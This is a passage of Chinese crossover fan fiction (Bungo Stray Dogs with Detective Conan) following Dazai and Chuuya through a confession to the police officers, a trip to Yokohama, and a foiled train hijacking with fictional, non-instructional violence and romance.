“小阵平,是遇到什么事情了吗?”萩原研二弯了弯眸子,“看起来很困扰的样子。”
松田阵平怔愣了一下,坦言:“太宰治有点怪怪的。”
他们跟太宰治打交道的次数不少,关系一直不好不坏。听目暮警官和其他警官说起太宰治都是偏向友善的态度,甚至还有说他好相处的。
不知道为什么,太宰治在他们面前从来没有展现过这一面。
松田阵平顿了顿。
不,是从来没有对他展现过。
松田阵平脑海中划过一条线,转瞬即逝。
“是为什么呢?”
松田阵平眉头紧紧皱着,思考得太过入神,不自觉呢喃出声。
萩原研二比松田阵平对情绪的感知要更为敏感,他很快就给出了答案:“是因为之前爆炸案的事情吧?太宰君很在乎小中也。”
是中原中也。
松田阵平只觉手脚发麻。
是因为中原中也。
“中也决定好了吗?”太宰治的声音从高处传来。
他被吊在别墅中央,人随着绳索晃悠,如果忽略他的处境,只看他的神色会觉得他悠闲极了。
这在中原中也手段中已经算是温柔了。
“中也会变成可怜兮兮的连朋友都没有的可怜虫吧?”太宰治的声音还响在上空。
中原中也毫无反应。
太宰治动弹得更厉害了。
安全起见,中原中也给太宰治饶了很多圈,脑袋以下都是绳子,原本只是吊着就很像虫子了,现在蠕动起来更像了。
太宰治见中原中也还是不理他,眯了眯眸子,正准备采取一些极端手段。
门铃响了。
“叮咚——”
中原中也反应慢了好几秒,他从耳朵处摘下两个白色的东西,起身开门。
太宰治不闹腾了。
哦,是戴了耳塞啊。
“松田你来了。”中原中也看着门口的卷发警官,并不意外。
“是。”松田阵平胡乱点了点头。
这段时间他和萩原研二都没有来找过中原中也。
他没有跟萩原研二说过他的推理,而是自己查。
什么都没有查到。
“你先进来吧。”中原中也面对这种情况也不知道该说什么。
他没准备将之前的事情瞒下来,不管是对谁都是一种不尊重。
松田阵平进来后第一眼就注意到了挂着天花板上的太宰治,一时间都忘了自己原本要说什么。
太宰治摇摆着身体,欢快地跟松田阵平打招呼:“好久不见啊松田警官。”
松田阵平失语。
中原中也捂脸。
“你们这是在玩什么play吗?”松田阵平还是没有忍住。
中原中也很想解释:“不,不是,这是啊额。”
他想不出来了。
“是因为我做了些不好的事情,中也要惩罚我。”太宰治小白花语气。
我不是,我没有。
中原中也脸上几乎要显出一个大写“冤”字。
中原中也转头看向松田阵平,松田阵平若有所思。
中原中也:……
太宰治欣赏够了中原中也脸上青白交加的表情,愉快道:“中也,要好好接住主人哦。”
下一秒,绳索断裂,罪魁祸首直直坠落。
“喂——”
“喂——”
底下的两个人同时出声,中原中也的动作更快,接住了太宰治,松田阵平推了沙发过去。
中原中也接住太宰治的时候离地面的距离已经算不上高了,饶是如此,两人跌到沙发上时中原中也还是被太宰治结结实实地砸了一下。
太宰治顺利降落,并成功得到一个中原中也的暴栗。
“好痛,可恶的中也。”太宰治抱头。
“活该。”中原中也咬牙切齿。
“我要街口新开那家的螃蟹料理!”太宰治表示我不听,“就是因为中也,我要精神损失费。”
“把你手上的刀收起来再跟我说这话。”中原中也冷笑。
“中也。”太宰治又叫了一声。
“自己去。”中原中也没看太宰治。
“好吧,那么松田警官可以拜托你跟我过来一下吗?”太宰治叹了口气,好像有些苦恼,语调却扬了起来。
中原中也没有提出异议,松田阵平点头。
他们上了楼,楼下的中原中也往上望,正对上太宰治的视线。
太宰治弯着眸子。
好黏人的中也。
他无声说着。
中原中也无语。
太宰治带着松田阵平进了二楼书房。
“是我做的。”太宰治没有等松田阵平发问,直接道。
“萩原警官的消息是我泄露出去的。”太宰治依旧弯着眸子,看起来温和有礼,他的眼神却冷极了。
松田阵平暴怒,他揪住太宰治的衣领,拳头立马就要打下去了。
他停住了。
理智的弦在关键时刻绷紧了,拉住了松田阵平。
“为什么?”松田阵平问。
太宰治顿了顿:“因为中也,中也把你们当成了朋友。”
“我想要你们远离中也。”太宰治的喉咙被松田阵平扼住了,他笑起来,带着股子疯意,“中也身边只有我一个就好了。”
松田阵平被眼前人的话气笑了,他骂道:“你是个疯子。”
“我根本没想过中也会把你们当成朋友。”太宰治坦然,“你们认识他的时间太短了,上一群被他划进朋友范围里的人花
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了一年。”
太宰治的话锋利冷漠,就像是刀子一样划开年轻警官的心。
“你们应该是沾了他们的光。”
松田阵平敏锐地察觉到什么:“他们怎么样了?”
“这是一个秘密。”太宰治笑眯眯。
松田阵平瞳孔紧缩,抓住太宰治衣领的手攥得更紧了,他几乎要放任心中怒火。
太宰治还想要说什么,被窗外扔进来的石子打断了。
“混蛋太宰,你闭嘴。”橘发的少年双手撑着窗。
书房有一个大大的飘窗,连着外面的院子,要爬进来不难,只是中原中也不是会在妥协过后更近一步的人。
应该还有其他人。
太宰治的视线挪到一边,半长头发的青年也冒出头来:“好久不见,太宰君。”
“好久不见,”太宰治握住松田阵平的手腕,指尖略微用力,解救出了自己的衣领,“中也怎么上来了?”
话是在问中原中也,眼神却是看向萩原研二。
松田阵平手腕发麻,他不停地甩着手。
罪魁祸首弯腰递出手将中原中也拉了进来。
一旁的萩原研二察觉到太宰治的视线,迟疑了一瞬还是没有接话。
“混蛋太宰。”中原中也不轻不重地喊了一声。
中原中也已经有些生气了。
他们上楼没多久,萩原研二就过来了。
“小中也,想听一下他们说了什么吗?”萩原研二什么也没有问,只是说。
然后就是现在。
“对不起。”说话的人是中原中也,他摘下帽子放在胸前朝二人鞠躬。
太宰治僵在原地。
这是最笨的办法,也是最没用的办法。
他依旧做了。
“他之前说的那些话一个字都不用信,就是因为我连累了你们。”中原中也看了太宰治一眼。
最后松田阵平和萩原研二走了。
临走前,太宰治交给了他们一份文件。
他们之后大概不会再有什么交集了。
“我要离开米花町了。”临走前,中原中也这么对他们说,“保重。”
太宰治一句话都没说,安静地待在中原中也身边。
等他们走后,太宰治也没有挤出半个字来,只是不停地黏在中原中也身边,也不说话。
中原中也颇有些好笑,也没戳穿太宰治。
晚间吃饭时去的是之前太宰治提起的那家餐厅,太宰治还是没说话,像是被下了哑药,眼神不停往中原中也身上飘。
最后还是中原中也解救了太宰治这种状态。
“混蛋太宰,到底想问什么?”中原中也大概猜到太宰治想问什么。
“中也,在你眼里,我算什么?”太宰治挤得艰难。
他想问中也,在你眼里我是不是要重要一点,你是不是知道我对你的喜欢,最后说出来就变成了这样。
像这样直白地向中原中也讨要答案是太宰治以前从没做过的事情,他几乎不敢看中原中也。
中原中也沉默了许久,最后话也是从牙缝里挤出来的:“你是……重要的朋友。”
实在太过羞耻,以至于中原中也藏在橘发下的耳朵都红了。
只不过听完中原中也话的太宰治不知道为什么脸色青红交加,他咬牙切齿:“好朋友。”
29.第 29 章
中原中也决定要离开并不是突发奇想。
他要离开的契机其实很简单,因为太宰治。
这段时间虽然太宰治还是时不时发点疯,但发疯在太宰治这实在算不上什么大事。
换句话说,太宰治现在已经冷静下来了。
而他也不可能真的一直陪着太宰治。
他们对此都心知肚明。
不过中原中也还是答应了太宰治要多待几天,至少待到4.29。
太宰治向来知道自己的优势在哪里,说起这件事的时候,他垂下眸子,睫毛带出来的阴影好像轻轻笼罩了他,窗外阳光明媚,却没有留出一点落在他身上,浑身缠绕着寂寥。
分明什么也没说,就是让人感到罪大恶极。
“太宰。”中原中也想说点什么,被打断。
“没关系的,中也,”太宰治偏过头去,微长的头发盖住他的眸子,就像是在掩盖些什么,声音里也带了些沙哑,“就算这次也错过给你过生日也没关系。”
“太宰……”
继续被打断。
“中也,我们会见面的对吧?”太宰治还是没看中原中也。
“太宰……”
“没关系的,”太宰治吸了吸鼻子,“中也,你是我最好的朋友。”
“朋友”两个字太宰治咬得极轻,带着缱绻又好像在否定什么。
“好了好了好了好了。”中原中也受不住了。
他无奈点头,“我答应你,不过只有一个星期。”
这都待了快5个月了,多待几天就也差不多。
中原中也不自觉摸了摸鼻子,没注意原本将哭未哭的太宰治差点笑出声了。
太宰治眨了眨眼,压下眸中的笑意,要是中原中也仔细看,说不定能看见里面氤氲着的一池春色。
离4.29还有一周。
“中也,想去看看这边的横滨吗?”太宰治弯着眸子,手搭在中原中也的肩膀上,声音甜而蜜。
中原中也差点一拳打了上去,一时间还以为是什么脏东西附到太宰治身上了。
“混蛋太宰你好好说话!”中原中也拍了一下太宰治,就差没把“滚”字写在脸上了。
太宰治不是没有这么说话的时候,只不过一般他这么说话就代表有人要倒霉了。
而中原中也当仁不让,在被太宰治迫害这件事上高居榜首。
他上一次听到太宰治这种语气还是《本周不服输的中也》发刊。
中原中也凭借他充分的对宰经验得出了结论。
混蛋太宰绝对没想做好事。
太宰治困惑地歪了歪头,中也平时不是吃这一套吗?
太宰治收回手,看起来无辜极了:“中也?”
看清太宰治本质的中原中也:……
“去。”中原中也咬牙。
“那就现在走吧,我已经收拾好行李了。”太宰治双手合十,喜气洋洋。
中原中也:哈,就知道这家伙是早有预谋。
米花町车站。
今天是帝丹中学组织的游学活动,目的地是横滨。
帝丹中学这类活动很多,这还是第一次选在了横滨。
工藤新一百无聊赖地张望着,身边没有人。
“小兰到底什么时候回来啊?”
他低声呢喃。
离他们发车还有好长一段时间,而他们又处在精力最旺盛的时期,容易闹腾,老师也就没有拘着他们,让他们自由活动,不过要在发车前回来。
毛利兰跟铃木园子去买东西去了,现在还没回来。
倏地,他的眼睛捕捉到了什么,原本飘忽的眼神定了下来。
是中原先生。
中原中也实在是很好认,一身黑色西装,本该看起来沉稳冷淡,但他的橘发又像是燃烧着的火一样,矛盾又自洽,只要站在那里就是人群的中心。
他手上拿着饮料,视线漫不经心地略过人群。
是在等人。
工藤新一不用思考就能得出结论。
上次事件后他就没见过中原先生了,连带着太宰先生也很少看见。好在萩原警官最后没事,只是他追上去问的时候,一向好说话的萩原警官什么也没告诉他。
“中原哥哥——”工藤新一跟中原中也打了个招呼。
中原中也闻言抬头看向不远处的工藤新一,他挑了挑眉,主动走进。
上次的事情他还没好好谢过工藤新一。
“好久不见。”中原中也略一点头,他顿了顿,“我没记错的话你今天应该是要上学?”
“学校组织了游学,现在在等车。”工藤新一解释,说罢又问了一句,“中原哥哥你是要去哪里旅游吗?”
中原中也是推着行礼箱过来的,对工藤新一能猜到这个并不意外。
“是横滨哟。”太宰治从中原中也身后冒了出来,手指轻巧地拿走中原中也手里的饮料喝了一口。
“混蛋太宰,那是我的饮料。”中原中也锤了一下太宰治。
太宰治又喝了一口,摊开手语气无奈:“我都喝过了耶,中也要喝吗?既然中也不喝的话,那这两杯就都是我的啦~”
中原中也额头“井”字直跳,把手里剩下的一杯塞给太宰治:“喝,今天一天你都给我喝,喝不完你跟我姓。”
“哎——”太宰治娇羞,“中也是喜欢我吗?这是结婚请求吗?这么着急的吗?中也好像还没到法定年龄,不过我可以先去改名,这样中也就赖不掉了。”
工藤新一:?
语毕,太宰治突然意识到了什么,他问中原中也:“中原治好像很不错的样子,但是太宰中也也很棒哎。中也,要不我们一起改名吧?”
工藤新一转头看向中原中也,中原中也迟疑了很久,脸色姹紫嫣红不停变换,最后定格在工藤新一看不懂的情绪上,硬要说的话,有点像被他惹火的小兰?
“滚啊,”中原中也耳朵都气红了,“谁要叫太宰中也了!”
“真没品。”太宰治嫌弃,“小蛞蝓就是喜欢心口不一,明明超级开心的好吧?”
工藤新一不说话。
“哈?谁会因为这种事情开心啊?”中原中也瞪着太宰治,完全忘记身边还有一个工藤新一,“只有你这种满是恶趣味的人才会开心吧。”
“小蛞蝓血口喷人了!”太宰治回瞪。
两人的距离越凑越近,近到可以感受到对方呼吸。
中原中也停了下来,非但没有拉开距离,反倒握住了太宰治的手臂,将他拉得更近。
太宰治难得有些慌张,睫毛乱飞。
好近,从来没有这么近过。
好像下一秒中也就要亲上
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来了。
有的想法不是想克制就能克制的,开了个头,就停不下来了。
大庭广众好像不太好,不过要是中也想……
太宰治的视线黏在中原中也的唇上,浅色的,带着点肉感,看起来很好咬的样子。
会不会哭呢?
中原中也说话了:
“有人在看我们。”
太宰治:……
太宰治拉开距离,神情恹恹:“哦。”
“你又怎么了?”中原中也困惑。
刚才还好好的。
刚才就转过身去了的工藤新一转了回来,正好撞上太宰治的眸子,幽深冷漠,只是很快就变得随和再带了些幽怨。
“没事啊。”太宰治看起来十分正常,“什么事都没有。”
太宰治微笑。
中原中也打了个寒战:“混蛋太宰,你正常一点。”
太宰治只当没听见,他的视线转到工藤新一身上:“那么新一酱,你刚刚听了什么?”
“额,”工藤新一迟疑了一瞬,“我什么都没听见。”
“新一酱,什么都没听到的人是不会说自己什么都没听见的哦。”太宰治语调迟缓,脸上的笑容和煦,看起来亲昵温和。
工藤新一只觉寒气往上直冒。
他们也没说什么啊!是有什么被他遗落的吗?
“没有哦,新一酱你什么都没忘,”太宰治拉长了声音,“只是我想吓吓你。”
哦。
工藤新一放宽心。
“我刚才说话了吗?”工藤新一猛地抬起头。
“咔嚓——”
中原中也正在忍笑,太宰治手上则拿着一个相机,刚才的声响显然就是从他手里传出来的。
工藤新一:……
偏生罪魁祸首还在激情安利:“要再来一张吗?可以帮你洗出来哦。”
什么寒意诡异在工藤新一那里都碎成了渣。
工藤新一面无表情,他拒绝:“不用了。”
“那我到时候交给有希子小姐。”太宰治挥了挥手上的相机,脸上的笑容怎么看怎么可恶。
“新一——”老师在喊人了。
“中原哥哥,太宰哥哥,我先走了。”工藤新一与他们道别。
经过方才的一通打岔,他已经完全忘记了最开始太宰治是为什么来吓他了。
“这里人太多了,还是换个地方比较好。”太宰治低声喃喃。
“知道了,”中原中也脸上的笑意消失了,“又是钟塔侍从的人吗?”
“是的哦,中也不算笨嘛。”太宰治随手将饮料递给中原中也。
饮料还剩一大半,中原中也喝了一口,里面大半杯都是冰块。
不是他的那杯。
“中也的在我这里。”太宰治心满意足地吸了一口,“还是从中也这抢的饮料最好喝了。”
中原中也深吸一口气,一把把自己的饮料给抢回来一口气喝完。
中原中也得意洋洋:“确实,从你那抢的饮料最好喝了。”
中也真是笨蛋。
太宰治眸子划过笑意,随即变冷。
跟在他们身后的人忽然打了个寒颤。
他谨慎地用余光瞥着前方的两人,两个人又开始吵架了。
应该没事。
应该?
30.第 30 章
被分配到监视眼前两人的任务是马克主动争取过来的。
只要可以顺利完成任务,他就能够顺利升回本部。
这鬼地方他实在是一天也呆不下去了,天天都是凶杀案,就算路过他都会被卷进去,还有好几次差点被这的人给杀了。
好在他谨慎。
马克总是庆幸着自己的谨慎。
他已经从老大嘴里得到了准信,只要他可以完成这个任务,他就可以升回本部了。
其他任务,比如偷袭他们危险性太高了。
虽然他没有参加上次任务,但安娜死了安德森也死了,再加上从那个组织传出来的消息。
这两人都不是什么好对付的货色。
他只是想升回本部,可没准备正面去跟他们对抗。
一个孩子撞到了他,目标渐渐被人群淹没。
马克下意识将人推开,眼睛紧紧盯着将要消失的人影。
“哇——”被推开的孩子被接住了,小女孩抬头,是一个姐姐,“谢谢姐姐。”
小女孩细声细气地道谢。
“没事。”毛利兰摇摇头,方才的男人已经不见了,“你没事吧?”
“我没事。”小女孩小心地看了一眼毛利兰身边的哥哥,她才被刚刚的男人凶过,面对相同性别的工藤新一有点瑟缩。
工藤新一也注意到了女孩的情绪,主动说:“小兰,那我先去找老师。”
“好。”毛利兰点头。
工藤新一没有去找老师,刚才的话只是一个借口。
他环顾四周,那个男人应该是在找人,他推开女孩时的眼神并没有在女孩身上停留,而是不停地在人群中搜索。
他在跟踪!
工藤新一有些焦躁。
跟踪一般是绑架的前奏,但还不能确定。
还是要先找到那个男人,希望他的直觉是假的。
“唔,没跟上来吗?”
太宰治看了一眼身侧的路过工人正在搬运的镜子。
“现在跟上来了。”中原中也瞥了一眼镜子,“什么时候动手?”
“中也的性子太急啦,”太宰治眉眼含笑,“心急可是吃不了热豆腐的。”
“钓鱼总要等鱼咬饵嘛。”
广播适时响起。
“发往横滨站的列车将要开动了,请乘客尽快登车。”
“东西都准备好了吗?”浑身包裹着黑衣的男人有着银色的长发,身量极高,给人一种恐怖的压迫感。
他对面是一个鹰国人,看起来孱弱极了,他的脸并不难看,反而可以称得上清秀,只有一双眸子给人的感觉极为难受。
阴暗诡谲。
“当然,我保证,我们都会得到我们想要的。”男人说的话慢条斯理,有种僵硬的顿感。
“嗤。”琴酒没说话,走了。
他一向看不上眼前这个人,就算他们已经合作了很多回也是一样。
或者说那个组织的人他一个都看不上。
虚伪恶心。
被留下的那个男人也不觉得自己被慢待了,他脸上的笑容不停扩大,他低喃:“还是要先把那个残次品弄到手才好。”
虽然不知道那个人间失格是怎么偷渡过来的,也好,原本还发愁怎么把他弄过来。
也好。
“钟塔侍从好像发现了什么,要快点把痕迹消掉了。”说着说着男人忽然低低地笑起来,癫狂神经。
“要把小可爱带上。”男人自言自语,手指碰了碰口袋里的遥控器,“不过还是要先解决掉这些渣滓。”
他的余光扫过身后一直跟在他身后的人。
他当然是不受信任的。
没有人会信任一个疯狂科学家,但这不代表他们不想要得到他。
他抬脚顺着人群往车上走去。
现在所有人都到齐了,好戏也要开场了。
“看到目标了,目标正在上车。”
“1号点位炸弹安装完毕。”
“18号已准备。”
“3号点位枪械已就位。”
“目标到达9号车厢。”
“9号已准备。”
“开始行动。”
“中原中也必需活捉。”
安德烈说:他是唯一一个足够与神明媲美的异能承载体。
数不尽的贪婪争先恐后地想要从他身上啃下一口肉,为了力量,为了人心。
从此,中原中也在他们眼中已经不再是一个人了,那是他们每个
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人的所有物。
只要抓住他,他们就会拥有一切。
太宰治勾起嘴角,神色冷淡,转瞬间重归懒散,他拉长声音喊着:“中也,你这次可以放开手脚了。”
他晃了晃手机收到的简讯:
行动开始。
“对了,中也,戴上这个。”太宰治从口袋里掏出一个小巧的耳麦,平放在掌心。
中原中也准备接过,被太宰治避开了,他收紧手指,中原中也抬头望他。
略带凉意的手指落在中原中也的耳朵上,耳麦被服帖地塞了进去,太宰治的声音响在中原中也耳畔:
“中也,玩得开心。”
轻轻的,带着笑意的,缱绻又暧昧。
中原中也僵住了,他看着太宰治,鸢眸里面盈满爱意。
毫不遮掩,就像是笃定眼前人看不到、读不懂,所以张扬恣意。
“喂,太宰,”中原中也的身体永远比心更快,“我们是不是情侣?”
似是察觉到太宰治的停顿,中原中也又加了一句:“未来的我们。”
“没有,”太宰治想要扯出一个笑,他成功扯出来了,“只是搭档哦。”
好难过的样子。
比不笑还要难过。
中原中也陷入了沉默:“我知道了。”
难过吗?还是遗憾?好像都差点。
什么都差点。
他转身离开去为接下来的战斗做准备。
手被抓住了。
在中原中也还没反应过来的时候,一个温热的怀抱拥了上来,柔软的黑发贴着他的后颈,呼吸打在他的耳朵上,他的声音急不可耐般:“喜欢中也,中也每次都看不出来,最讨厌中也了。”
中原中也的嗓子像是被什么堵住了,半点也说不出话来。
好像过了很久,又好像只有一瞬,中原中也终于找回自己的声音。
“哦。”
中原中也慌乱地点了点头,太宰治也不说话,原本密不透风的拥抱分成了两个人,各自偏过头看向窗外。
两个人的脸都红透了。
“我去杀人。”
“我去拆炸弹。”
说完两人又对视一眼,强装镇定,点点头,转身分别。
31.第 31 章
中原中也离开了。
太宰治和工藤新一留在之前的车厢里。
临走前,中原中也本想要将工藤新一送回去,太宰治制止了他。
“嘛,中也,你不是还有很多事情要去做吗?”太宰治口吻温和,缠满绷带的手轻轻勾住中原中也的小指。
若有似无。
中原中也猛地收回手,轻咳一声,脸上带了些不自然的红晕:“那新一就交给你了,我先走了。”
颇有些落荒而逃的架势。
被丢下的工藤新一:……
工藤新一现下面对太宰治还有些僵硬。
方才他从中原中也那里听说了刚才跟在他身后的一直是太宰治,现在还有些脊背发寒。
虽然不知道为什么,总比真是个凶徒要好得多。
中原中也走得急,什么都没有跟他解释。
工藤新一将目光放在太宰治身上。
要问吗?
“新一是想问些什么呢?”太宰治脸上笑眯眯的,看起来温和极了,只是细究之下就会发现其中藏着的冷漠。
“那些人是怎么了?”工藤新一指着现在座位上依旧一动不动的人。
其中有老有少,有人衣着精致也有人浑身脏污,但他们都一动不动。
“啊,他们啊。”太宰治恍然大悟般,“他们已经死了哦。”
太宰治说话时脸上还带着笑,似乎完全没发现自己说出了何等可怖的话。
工藤新一没忍住后退了一步,原先已经压下的寒意再次席卷而来,眼前熟悉之人的面孔逐渐陌生。
太宰治还嫌不够似的,他继续补充:“你之前手里的炸弹也是我放的。”
“也是故意支开中也的。”
“这些都是我做的。”
太宰治脸上浮现出阴森的笑容。
工藤新一的脸上逐渐由惊恐变为冷漠。
“哎——”太宰治惊讶,“新一你怎么没有被吓到?”
工藤新一冷冷地扯了扯嘴角。
从中也哥哥那里你就已经露馅了。
太宰治歪了歪头:“是因为中也吗?觉得我不会利用中也所以放下心来吗?”
工藤新一瞳孔微微扩大。
太宰治捏着下巴:“看起来是了。”
他摊了摊手:“真可惜,要让你失望了,我是一个会被中也指责什么都能利用的烂人。”
黑漆漆的枪口对准工藤新一。
“再见了,新一酱。”
太宰治扣动扳机。
“砰——”
工藤新一闭上眼睛,预想中的剧痛没有到来,他抬头,彩带飘飘摇摇地撒了下来,落到他的头顶。
“惊喜吗?”太宰治露出恶作剧成功的表情。
“惊喜个头啊!”工藤新一没忍住骂了出来。
“不惊喜吗?”太宰治眨眨眼,“我还以为你很喜欢这种刺激呢,不然怎么会招惹到这些人?”
太宰治随手一指。
工藤新一眸光呆滞。
不会吧?
工藤新一百思不得其解。
难不成是他爸破案的时候不小心得罪的人现在找上他来了?还是说是想要绑架他来拿到钱?
工藤新一几乎要说服自己了。
“当然是假的。”太宰治的话轻飘飘的,落在工藤新一耳中分外招打。
“这些人都是恐怖分子,想要劫持这趟列车。”太宰治目光幽微,“我和中也发现了这件事情,中也去解决他们去了。”
工藤新一这次学乖了,没有急着相信太宰治的话,而是先思考其中几分真几分假。
“有一半是真的。”太宰治半真半假道,“所以,现在轮到新一——平成时代的福尔摩斯,你出场的时候了。”
喂,你说真的吗?
工藤新一的嘴角几乎要抽搐了。
太宰治补全了后面的话:“去帮中也。”
他看着工藤新一,一字一句:“去帮中也。”
工藤新一最后还是听从太宰治的话去找中原中也去了。
可能是太宰治的眼神太过专注太过认真,可能是他对中原中也的担忧在那一瞬占据了上风。
他走了。
“你很在乎那个少年。”依旧是世界意识的声音。
“对。”太宰治坦然承认。
“哦。”世界意识顿了顿,似乎没想到太宰治答应地如此迅速。
人类总是羞于说出自己的在乎,祂世界里很多情杀案都是这么来的。
因为在乎所以错过,因为在乎所以偏执。
“不要欺负新一,”祂继续道,却是把今天的事情给揭过去了,“下次注意。”
“彩带枪原本是给中也准备的,”太宰治将原本已经停止跳动的炸弹捡了起来,一手插在风衣口袋里,语调不紧不慢,“给新一准备的枪是真枪。”
他将炸弹放到一个西装革履的男人怀里,这个炸弹原本在他脚边,被工藤新一捡起来后落到了其他地方。
“但是我拿起那柄给新一准备的枪时,那把枪忽然就坏了。”
“只要我开枪,它就会炸膛。”
“是你做的吗?”太宰治问得寻常。
“不是,”世界意识也没觉得有什么问题,“世界运转自有规则,我干预不了现实。”
“很像小说里的主角光环。”太宰治思考。
“所以你把新一送到中原中也身边是为了这个。”世界意识恍然大悟。
太宰治没说话,他退出了这节车厢。
工藤新一一路都在躲避身后之人,没有注意到这节车厢已经是最后一节。
这里面坐着的人是这个世界那个组织的投资者。
他们是被安德烈骗上来的。
安德烈想要脱身,他必然不可能将那些高高在上的人落下。只要他们还活着,他就永远不会有安宁的一天,直到他找到新的靠山。
直接弄死他们是一条捷径。
上次太宰治与安德烈交锋的时候,他就发现了。
太宰治什么都没做。
现在也到了该送他们上路的时候了。
太宰治拿出手机看了眼时间。
中也应该快结束了。
“bong——”
爆炸掀起的气浪吻过太宰治的衣摆,他在炸弹爆炸的最后一秒来到另一节车厢。
“中也!”太宰治有些心虚。
中原中也已经在等着太宰治了,面对太宰治身后的爆炸他也面不改色。
“你给出的人我已经清理得差不多了。”中原中也微顿,“我让新一去找他老师了。”
他不动声色地将一侧的手往旁边藏了藏。
说实话,要解决太宰治给他指出的人并不难,只是他遇到了一个极为难缠的男人。
这个世界对他异能的干扰达到最大,他几乎是纯靠体术跟那个男人打。
中原中也的体术很强,但他只有18岁,他的经验还不够,再加上银发男人现在正处于身体素质的巅峰时期。
中原中也很久没有遇到这么让他兴奋的对手了。
差点打上头,好在岌岌可危的理智拉住了他。
不过上头的人显然不止他一个。
琴酒也许久没有碰见这么对他胃口的对手了。
虽然是个实验体,但他的战斗意识身体素质都是顶级的。
打到后期,琴酒都有些忍不住分了一缕神:
要不把他拉进行动组?比那些废物好多了。
这时候中原中也正在琢磨怎么脱身,恰逢琴酒分神,他当然不会放弃这么好的机会。
攻势愈发猛烈。
工藤新一就是这时找到中原中也的。
车厢里的人早就跑光了,里面只剩下了中原中也和一个银发男人。
工藤新一蹲在角落,借着里面乘客没来得及拿走的行李挡住自己,视线不停扫视着附近。
有什么东西可以帮到中原哥哥?
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工藤新一的视线落到不远处的一个球上。
琴酒忽然感受到一阵冷意。
再后面的事情就很简单了。
中原中也顺利脱身,就是出了一点小状况。
琴酒虽然没有追过来,但他有枪。
他开枪了。
中原中也下意识拿手一挡。
他现在的异能强度不足以让子弹以同等速度射回去,但足够让它打偏,手上的伤就是那时候不小心留下的。
两个人对视一眼,各有各的心虚。
“现在没事了。”太宰治神色轻松,“要好好享受难得的假期。”
最后一个现在也快死了,才不要让中也看见恶心人的东西。
“你才是没有假期吧?”中原中也随口吐槽。
太宰治在港口Mafia的时候算是有名的劳模了,最少的时候每天只睡一个小时,还有闲心把《本周不服输的中也》新刊编出来。
“要比中也先当上干部嘛。”太宰治完全没有掩饰自己的目的,“要不是为了可以指使中也我才不要那么累。”
“哈!”中原中也冷笑一声。
他就知道混蛋太宰不怀好意。
另一边,琴酒找到安德烈了。
琴酒接到的命令中,抓住中原中也是第一位,而他没有先去抓中原中也,只有一个原因。
他接到了新的命令,覆盖的原先抓住中原中也的命令。
“Gin,”夹着电流的声音通过电话传到琴酒耳中,“我们被安德烈耍了,先抓住安德烈,其他的事都可以往后挪。”
一向冷静无波的声音夹杂着怒火。
看来是气狠了。
琴酒面无表情。
他挂断电话。
他只是刀,没必要深究其他事情,换目标就换目标。
枪口顶在安德烈的额头。
枪声响起。
倒在地上的男人瞳孔剧烈张大,里面满是惊恐。
不不不不!
为什么他的异能没有成功发动?
明明一切都是按照他的计划进行的,为什么他最后死了?
明明只差最后一步!
安德烈死了。
“嗯?”中原中也听见枪声过来这个车厢查探。
太宰治的兴致不高,他早就知道这个车厢会发生些什么,但还是陪着中原中也过来了。
中原中也随脚掀开死者的脸,“混蛋太宰,这个人是不是你之前弄死那个?”
“是他,”太宰治漫不经心地垂眸看了尸体一眼,拉开中原中也,“好脏的,不要随便乱踩。
他碾过底下人的手指。
与并不知道尸体身份的中原中也相比,太宰治对尸体的一切都厌恶极了。
“中也晚上回去要把这身衣服都扔了!好脏!”他嫌弃。
“混蛋太宰,你找事是吧?”中原中也顿了顿,“他不是死了吗?”
中原中也默默靠近了太宰治一点。
中原中也有点怕鬼,只有一点。
中原中也声明。
太宰治睨了口口声声只有一点怕鬼的中原中也一眼,没说话。
“混蛋太宰,你什么表情?”中原中也抱着太宰治的胳膊,语气毫不示弱。
太宰治嘴角微微翘起:“是异能啦。”
可以转移自己的异能,虽然不知道有什么缺点,不过看起来比之前要更疯了。
“哦。”中原中也放开了抱着太宰治的手。
只要不是鬼就好。
太宰治嘴角往下撇:“想要营造自己和其他人一起死的结果,但是连最基本的情报都没有搞明白。”
“是个废物。”他下了结论。
唯一的用处就是把那群人聚在列车上。
两人慢慢走远了,没有一个人分出视线留给地上的尸体。
安德烈的眼睛死死盯着远去的两人。
好像满怀不甘,又好像只是因为尸体慢慢僵硬了。
32.第 32 章
事情闹得很大。
列车炸了一节车厢,死的尽是些高管名流,还有凶徒携枪。
这次事件成为了记者的狂欢。
只要粘上点这次事件的边,就不愁没有人买单。
政府方面又一直没有对此作出正面回应,更加延长了这次舆论风波的时间长度,甚至隐隐有扩大范围的趋势。
不过这些与太宰治和中原中也就没有多大关系了。
中原中也甚至从警察手中拿到了一份“三好市民”证书。
表彰他积极制止歹徒行凶,要不是中原中也严词拒绝,警察厅甚至想公开表彰中原中也。
中原中也拿到表彰证书时,只觉手里拿了个烫手山芋,偏偏太宰治还在一旁偷笑,做足了嘲笑他的姿态。
发证书的警官是横滨本地警察署的,看起来不苟言笑,也是他率先对想要公开报道中原中也事迹的行为作出反对。
“你们这是把他架在火上烤!”警官的声音洪亮,门板也挡不住。
后来也是警官跟警察厅扯皮后定下只颁发奖状的结果。
原本就有些不自在的中原中也更加不自在了,走前那名警官没来送他们。
他是横滨警察署的署长,正忙着处理列车事件的剩下的后续,若不是上面来的命令太过离奇,他也不会主动来管。
“中也身为黑/手党居然拿到了‘三好市民’的证书,这件事情要是说出去会被吓掉其他人下巴的吧?”太宰治举着中原中也的证书,状似无意地调笑着。
中原中也一把将证书抢回,瞪了太宰治一眼,反唇相讥:“那你这个叛逃的前黑/手党算什么?连我这个黑/手党也不如吗?”
“咿!我只是一个可怜无辜被牵扯进恐怖袭击事件的无业游民而已!反倒是中也没有一点羞耻心的吗?黑/手党就该好好去做坏事啊!”太宰治指责。
中原中也眼疾手快,一把捂住太宰治的嘴,防止他说出更过分的话。
他们现在还没出警察署呢!
中原中也暂时不想被这家伙连累,刚拿了证书就被人举报二进宫。
“唔唔唔唔唔。”中也真过分。
“唔唔唔唔唔唔唔唔唔。”居然拿手捂住我的嘴。
“闭嘴!”中原中也低声吼了一句,眼睛不自觉往其他方向瞟。
太宰治眨了眨眼,顺着中原中也的视线看去,是那个警官,他眼珠一转,就要吚吚呜呜地假哭起来。
可惜中原中也没注意到他神色的变化,太宰治嘴角微微下垂。
戏弄中也最重要的就是中也的各种反应,中也不看他,那么戏弄中也也就没了乐趣。
他轻飘飘地开口:“中也不是想去跟那个警官道谢吗?正好可以趁现在那位警官没事。”
“太宰,你又怎么了?”中原中也看了太宰治一眼。
